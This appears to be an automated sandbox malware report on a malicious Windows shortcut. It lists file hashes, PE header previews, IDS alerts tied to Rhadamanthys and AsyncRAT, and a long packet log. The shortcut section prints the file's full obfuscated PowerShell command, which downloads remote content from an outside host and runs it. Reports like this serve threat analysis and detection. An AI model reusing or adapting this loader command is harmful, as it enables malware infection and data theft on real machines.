Joe Sandbox View:	Filename: 81zBpBAWwc.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...E..f..........."...*.....h......0................................................l....`... .................................................................................\|...............................(...................X................................text...X...........................`..`.data...............................@....rdata..............................@..@.pdata..............................@..@.xdata...2...0...4..................@..@.bss....@....p...........................edata...............N..............@..@.idata...............P..............@....CRT....`............b..............@....tls.................d..............@....reloc..\|............f..............@..B........................................................................................................................................................................

C:\Users\user\Desktop\utox_x86_x64.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4971787
Entropy (8bit):	6.423642262672567
Encrypted:	false
SSDEEP:	98304:uVS4lyfvsVqltyD5DhADNlXQ2orLmKeLDCVvANLA1pOuI8F7fqLmLhPR6x7:vkPD52
MD5:	E9679980AA73CFC7CF00F3DA7949C661
SHA1:	53BA9E3A3A10AE0E72DF4B3632D8D4135EB540B6
SHA-256:	D7BD224B2EF0014C679046C917BECFFACE5F5ABA2FBDB7DD3C17FE964C3CEE97
SHA-512:	002AAC023E1BBE3BBBF153EBC5462970AA98C84BADEA6BC1B8D333C98A5ED91540928B8848A9928607E12C0A1296A12424B2C2B0753E23AFEB537249F04DB8BC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d... _.`..A.f^....&...."..)..64...............@...............................W.....;uL....... ......................................PI......pI..3....I......p1...............J............................. c0.(....................\|I..............................text.....).......).................`.P`.data...`.....).......).............@.p..rdata..p....p......d.............@.p@.rodata......`1......P1.............@.P@.pdata.......p1......^1.............@.0@.xdata.......P2......22.............@.0@.bss.........P3.......................p..edata.......PI......&3.............@.0@.idata...3...pI..4...:3.............@.0..CRT..........I......n3.............@.@..tls..........I......p3.............@.@..rsrc.........I......r3.............@.0..reloc........J......$4.............@.0B/4......P.....J......<4.............@.PB/19...........J......N4.............@..B/31.....

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=19, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	3.7763716036175987
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	rpQF1aDIK4.lnk
File size:	1'760 bytes
MD5:	6195bc34ba803cfe39d32856f6dc9546
SHA1:	7df2be096948fdc9590658a6e16a15250e5f4973
SHA256:	a83e7ec9997f8e98ae0a3e27c20430d9711215bc71591406688312f8663c7e1b
SHA512:	14418232686d2ce0dfc4dbc018716867ced108ba3054e6023764608772ca92af7d4be918773747b63900371cf861fb3db872e4f419f427b35c5c61e9b8d8c36b
SSDEEP:	24:8pJ/ByUT+foum9GCYYcWtAW9Gz2t7q3zlw4dq4ApdyDjd1oabYNv/MRht1d/5:8vV39GCYYcWtSi23Jw4dq4iyDjd1oaD
TLSH:	1B319C0CECDB0721F2F6863A78BA3240C46A7D1DED55CBDA1184CA4E6C53600E869E2F
File Content Preview:	L..................F........................................................5....P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........system32..B.....................

File Icon


Icon Hash:	0092ce8636496dad

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\system32\cmd.exe
Command Line Argument:	/c p""ow""er""s""h""ell/""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit
Icon location:	imageres.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T20:52:26.413597+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	147.45.126.71	3752	192.168.2.9	49855	TCP
2024-10-08T20:52:37.456819+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	147.45.126.71	3752	192.168.2.9	49925	TCP
2024-10-08T20:52:37.456819+0200	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	147.45.126.71	3752	192.168.2.9	49925	TCP
2024-10-08T20:52:49.706284+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	147.45.126.71	3752	192.168.2.9	49984	TCP
2024-10-08T20:52:49.706284+0200	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	147.45.126.71	3752	192.168.2.9	49984	TCP
2024-10-08T20:53:06.826221+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	46.29.238.96	4872	192.168.2.9	49989	TCP
2024-10-08T20:53:21.527681+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	185.196.9.174	7777	192.168.2.9	49990	TCP
2024-10-08T20:54:11.771579+0200	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	46.29.238.96	4872	192.168.2.9	54350	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 20:51:57.161185026 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 8, 2024 20:51:59.567444086 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 8, 2024 20:51:59.965811968 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:51:59.965845108 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:51:59.965926886 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:51:59.966190100 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:51:59.966201067 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.631870031 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.632087946 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.636904001 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.636920929 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.637234926 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.647876024 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.691417933 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.748739958 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.748791933 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.748832941 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.748878956 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.748891115 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.748939037 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.748939037 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.841705084 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.841722965 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.842417955 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.842430115 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.842515945 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.843544006 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.843559027 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.843624115 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.843630075 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.843688011 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.933738947 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.933787107 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.933845043 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.933856010 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.933872938 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.934082031 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.934621096 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.934660912 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.934717894 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.934724092 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.934740067 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.934812069 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.935192108 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.935231924 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.935256958 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.935264111 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.935317039 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.935317039 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.936135054 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.936176062 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.936218023 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.936223030 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:00.936253071 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:00.936332941 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.028033972 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.028079033 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.028172016 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.028172016 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.028184891 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.028436899 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.028594971 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.028636932 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.028675079 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.028680086 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.028728962 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.029344082 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.029382944 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.029438972 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.029443979 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.029453993 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.029535055 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.029604912 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.029654026 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.029695988 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.029700994 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.029748917 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.029748917 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.030262947 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.030303001 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.030339956 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.030344963 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.030397892 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.030397892 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.030653000 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.030766964 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.030855894 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.031172991 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.031188011 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.152439117 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.152478933 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.152560949 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153239965 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153239965 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153299093 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.153315067 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.153386116 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153441906 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153443098 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153455019 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.153642893 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153652906 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.153835058 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153856039 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.153858900 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153954029 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.153959990 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.154058933 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.154077053 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.154666901 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.154719114 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.154774904 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.154920101 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.154932022 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.820805073 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.821325064 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.821371078 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.821866989 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.821875095 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.825053930 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.825406075 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.825431108 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.825871944 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.825876951 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.826280117 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.826658964 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.826668024 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.827100039 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.827105045 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.830586910 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.830923080 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.830929041 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.831326008 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.831330061 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.865103006 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.865531921 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.865547895 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.866128922 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.866137028 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.920659065 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.920685053 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.920737028 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.920749903 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.920804977 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.921077967 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.921106100 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.921122074 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.921128988 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.923480988 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.923549891 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.923600912 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.923674107 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.923690081 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.923706055 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.923712015 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.924577951 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.924607038 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.924669981 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.924824953 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.924841881 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.925982952 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.925995111 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.926055908 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.926196098 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.926211119 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.926315069 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.926337004 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.926374912 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.926381111 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.926420927 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.926574945 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.926584959 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.926594973 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.926600933 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.928706884 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.928730011 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.928786993 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.928895950 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.928908110 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.930742979 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.930795908 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.930855989 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.930877924 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.930954933 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.930977106 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.931025982 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.931072950 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.931085110 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.931093931 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.931098938 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.932996035 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.933012009 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.933077097 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.933211088 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.933223963 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.973937988 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.974011898 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.974059105 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.974153042 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.974160910 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.974172115 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.974176884 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.976098061 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.976128101 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:01.976191044 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.976301908 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:01.976314068 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.608676910 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.609165907 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.609189987 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.609642029 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.609651089 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.612991095 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.613388062 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.613400936 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.613780022 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.613785982 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.615780115 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.615844965 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.616226912 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.616245985 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.616573095 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.616591930 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.616661072 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.616667032 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.617233992 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.617238998 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.617284060 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.617665052 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.617685080 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.618037939 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.618043900 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.745491028 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.745659113 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.745749950 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.745843887 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.745860100 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.745897055 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.745904922 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.748806953 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.748840094 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.748899937 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.749042034 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.749058008 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.752022982 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.752166986 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.752232075 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.752285957 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.752300024 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.752312899 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.752319098 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.754569054 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.754638910 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.754642963 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.754661083 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.754693031 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.754724979 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.754776001 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.754786015 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.754797935 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.754801989 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.755101919 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.755115986 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.755121946 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.755209923 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.755254984 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.755297899 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.755302906 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.755314112 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.755317926 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.758256912 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.758414984 CEST	443	49715	13.107.246.45	192.168.2.9
